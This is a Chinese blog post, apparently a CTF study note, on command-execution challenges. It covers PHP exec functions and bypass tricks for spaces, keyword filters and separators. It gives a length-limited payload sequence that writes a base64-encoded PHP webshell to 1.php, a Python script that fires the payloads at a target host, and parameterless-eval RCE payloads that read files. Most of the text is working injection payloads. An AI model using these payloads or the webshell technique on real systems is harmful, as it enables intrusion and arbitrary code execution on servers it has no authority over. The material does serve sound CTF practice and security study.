CTF中的命令执行

193 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第七天,点击查看活动详情

CTF中很多关于命令执行的题,各种思路真是骚的一批,所以大概记录一下

常见的命令执行函数

system
exec()
shell_exec()
反引号`

常见绕过

绕过空格限制

%09
%20
${IFS}
$IFS$1
<>
<
{cat,flag.php}  //用逗号实现了空格功能

限制文件读取

过滤敏感字符

preg_match("/flag/php")

//base64编码+$IFS
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

//变量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

//反引号

?ip=127.0.0.1;a=g;cat$IFS$1`ls`

//贪婪匹配

?ip=127.0.0.1;cat fl*

//单引号绕过

?ip=127.0.0.1;cat fl'a'g

?ip=127.0.0.1;cat fl?g

?ip=127.0.0.1;cat fl\ag

截断符号

通常使用的符号有:


|

&

||

&&

;            //使用分号可以同时执行两条命令

限制命令长度

限制了执行命令的长度,也就是CTF中出现比较多的五字符、七字符等题目,通过绕过长度限制达到执行命令的目的

前置知识

>创建文件

image.png

ls -t根据时间从晚到早输出

image.png

sh 将文件里面的东西当作命令执行

反斜杠\可以命令拼接

image.png

dir不换行输入到文件中

image.png

${IFS}代替空格

image.png

payload

#ls -th >f写入0文件,后期传入payload时,通过sh执行0文件即可生成f文件,sh再去执行f文件即可得到一句话木马
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
#使用base64编码的一句话写入1.php文件,其中${IFS}替换空格
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
#ls先执行0文件(ls -th >f),得到f文件,sh再去执行f文件就可以得到1.php
sh 0
sh f

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.0.132:1000/?c={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))
# 检查是否攻击成功
test = requests.get("http://192.168.0.132:1000/1.php")
if test.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

无参RCE

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
?>

一般为这种,也就是要求我们传参的内容只能为不带参数的函数,就是不能为a('1')形式 常规的POST、GET方式可以传参,http headers也可以传参,header头里面最长使用的是cookie值传参

session_id

session_id可以获取/设置当前会话中的ID session_id ([ string $id ] ) : string 那么就可以用这个函数设置cookie中的sessionid了,但是其存在着限制,文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 , (逗号)和 - (减号) 我们使用十六进制将参数传到cookie中去,再用hex2bin()函数转换过来,因为session_id必须要开启session才可以,所以最终payload为:code=eval(hex2bin(session_id(session_start()))); image.png

POST/GET

get_defined_vars(void):此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 image.png image.png 可以看到a参数在里面,使用current函数提取出来 image.png 可以看到a在最后面,再使用end函数就可以只显示a了 image.png

?code=eval(end(current(get_defined_vars())));&a=phpinfo();

image.png

随机读取文件

scandir():列出目录下的所有文件 scandir(.):列出当前目录下的文件,但是不能带参数,使用current(localeconv())表示读取当前目录的文件 localeconv():函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."

?code=print_r(scandir(current(localeconv())));

image.png array_flip():反转/交换数组中的键名和对应关联的键值。 使用此函数读取就可以获得flag.php

?code=print_r(array_flip(scandir(current(localeconv()))));

image.png array_rand():随机获取文件

?code=print_r(array_rand(array_flip(scandir(current(localeconv())))));

image.png readfile():读取文件 ?code=readfile(array_rand(array_flip(scandir(current(localeconv()))))); image.png

参考: cloud.tencent.com/developer/a… blog.csdn.net/silence1_/a…